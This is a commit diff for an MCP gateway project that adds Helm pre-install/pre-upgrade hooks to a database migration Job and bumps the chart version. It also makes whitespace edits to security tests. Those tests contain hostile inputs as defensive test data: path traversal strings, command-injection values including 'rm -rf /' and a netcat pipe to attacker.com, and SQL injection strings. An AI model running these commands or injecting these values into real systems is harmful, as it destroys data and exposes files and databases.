Update helm chart migration job

charts/mcp-stack/CHANGELOG.md

@@ -6,6 +6,17 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/)
 
 ---
 
+## [0.9.1] - 2025-12-03
+
+### Added
+* **Helm Hook Support for Migration Job** - enable recreation of the migration Job on every deployment
+  - helm.sh/hook: pre-install,pre-upgrade — ensures the migration Job runs automatically during installs and upgrades
+  - helm.sh/hook-delete-policy: before-hook-creation,hook-succeeded — removes old migration Jobs to prevent immutable field errors
+  - Eliminates upgrade failures caused by changes to spec.template in Kubernetes Jobs
+
+### Changed
+* **Chart version** - Bumped to 0.9.1 for migration job fix
+
 ## [0.9.0] - 2025-11-05
 
 ### Added

charts/mcp-stack/Chart.yaml

@@ -22,7 +22,7 @@ type: application
 # * appVersion   - upstream application version; shown in UIs but not
 #                  used for upgrade logic.
 # --------------------------------------------------------------------
-version: 0.9.0
+version: 0.9.1
 appVersion: "0.9.0"
 
 # Icon shown by registries / dashboards (must be an http(s) URL).

charts/mcp-stack/templates/job-migration.yaml

@@ -6,6 +6,11 @@ metadata:
   labels:
     {{- include "mcp-stack.labels" . | nindent 4 }}
     app.kubernetes.io/component: migration
+  annotations:
+    # Run this Job before install/upgrade
+    "helm.sh/hook": pre-install,pre-upgrade
+    # Delete old Job before new one and clean up succeeded ones
+    "helm.sh/hook-delete-policy": before-hook-creation,hook-succeeded
 spec:
   # Job configuration
   backoffLimit: {{ .Values.migration.backoffLimit }}
@@ -61,16 +66,13 @@ spec:
                 secretKeyRef:
                   name: {{ include "mcp-stack.postgresSecretName" . | trim }}
                   key: POSTGRES_PASSWORD
-
             # ---------- DERIVED URLS ----------
             - name: DATABASE_URL
               value: >-
                 postgresql://$(POSTGRES_USER):$(POSTGRES_PASSWORD)@$(POSTGRES_HOST):$(POSTGRES_PORT)/$(POSTGRES_DB)
-
             # ---------- LOGGING ----------
             - name: LOG_LEVEL
               value: "INFO"
-
           # Resource limits
           resources:
 {{- toYaml .Values.migration.resources | nindent 12 }}

tests/e2e/test_main_apis.py

@@ -1966,4 +1966,4 @@ async def test_complete_resource_lifecycle(self, client: AsyncClient, mock_auth)
 
 # Also, make sure to set the following environment variables or they will use defaults:
 # export MCPGATEWAY_AUTH_REQUIRED=false  # To disable auth in tests
-# Or the tests will override authentication automatically
+# Or the tests will override authentication automatically

tests/security/test_validation.py

@@ -76,7 +76,7 @@ def test_validate_path_uri_schemes(self):
         # HTTP URIs should pass through
         result = SecurityValidator.validate_path("http://example.com/file")
         assert result == "http://example.com/file"
-        
+
         # Plugin URIs should pass through
         result = SecurityValidator.validate_path("plugin://my-plugin/resource")
         assert result == "plugin://my-plugin/resource"
@@ -94,7 +94,7 @@ def test_allowed_roots_configuration(self):
         # Test with allowed roots
         result = SecurityValidator.validate_path("/srv/data/file.txt", ["/srv/data"])
         assert "/srv/data" in result
-        
+
         # Test rejection outside allowed roots
         with pytest.raises(ValueError, match="outside allowed roots"):
             SecurityValidator.validate_path("/tmp/file.txt", ["/srv/data"])
@@ -135,7 +135,7 @@ def test_sanitize_mime_type_verification(self):
         # Test valid MIME types
         assert SecurityValidator.validate_mime_type("text/plain") == "text/plain"
         assert SecurityValidator.validate_mime_type("application/json") == "application/json"
-        
+
         # Test invalid MIME types
         with pytest.raises(ValueError, match="Invalid MIME type"):
             SecurityValidator.validate_mime_type("invalid")
@@ -146,7 +146,7 @@ def test_sanitize_escape_sequences(self):
         result = SecurityValidator.sanitize_text("\x1b[0m\x1b[1;31mText\x1b[0m")
         assert "\x1b" not in result
         assert result == "Text"
-        
+
         # Test cursor movement sequences
         result = SecurityValidator.sanitize_text("Hello\x1b[2JWorld")
         assert result == "HelloWorld"
@@ -168,10 +168,10 @@ async def test_middleware_disabled(self):
         app = MagicMock()
         middleware = ValidationMiddleware(app)
         middleware.enabled = False
-        
+
         request = MagicMock()
         call_next = AsyncMock(return_value="response")
-        
+
         result = await middleware.dispatch(request, call_next)
         assert result == "response"
         call_next.assert_called_once()
@@ -181,11 +181,11 @@ async def test_path_traversal_detection(self):
         """Test path traversal detection."""
         app = MagicMock()
         middleware = ValidationMiddleware(app)
-        
+
         # Test path traversal patterns
         with pytest.raises(Exception, match="Path traversal"):
             middleware.validate_resource_path("../../../etc/passwd")
-        
+
         with pytest.raises(Exception, match="Path traversal"):
             middleware.validate_resource_path("/srv/data/../../secret.txt")
 
@@ -197,10 +197,10 @@ async def test_command_injection_prevention(self):
             mock_settings.validation_strict = True
             with pytest.raises(ValueError, match="shell metacharacters"):
                 SecurityValidator.validate_shell_parameter("file.jpg; cat /etc/passwd")
-            
+
             with pytest.raises(ValueError, match="shell metacharacters"):
                 SecurityValidator.validate_shell_parameter("file.jpg && rm -rf /")
-            
+
             with pytest.raises(ValueError, match="shell metacharacters"):
                 SecurityValidator.validate_shell_parameter("file.jpg | nc attacker.com 1234")
 
@@ -210,11 +210,11 @@ async def test_output_sanitization(self):
         # Test control character removal
         result = SecurityValidator.sanitize_text("Hello\x1b[31mWorld\x00")
         assert result == "HelloWorld"
-        
+
         # Test ANSI escape sequence removal
         result = SecurityValidator.sanitize_text("\x1b[1;31mRed Text\x1b[0m")
         assert result == "Red Text"
-        
+
         # Test preserving newlines and tabs
         result = SecurityValidator.sanitize_text("Line1\nLine2\tTab")
         assert result == "Line1\nLine2\tTab"
@@ -224,13 +224,13 @@ async def test_sql_injection_prevention(self):
         """Test SQL injection prevention."""
         with patch('mcpgateway.common.validators.config_settings') as mock_settings:
             mock_settings.validation_strict = True
-            
+
             # Test SQL injection patterns
             with pytest.raises(ValueError, match="SQL injection"):
                 SecurityValidator.validate_sql_parameter("'; DROP TABLE users; --")
-            
+
             with pytest.raises(ValueError, match="SQL injection"):
                 SecurityValidator.validate_sql_parameter("1' OR '1'='1")
-            
+
             with pytest.raises(ValueError, match="SQL injection"):
-                SecurityValidator.validate_sql_parameter("admin'--")
+                SecurityValidator.validate_sql_parameter("admin'--")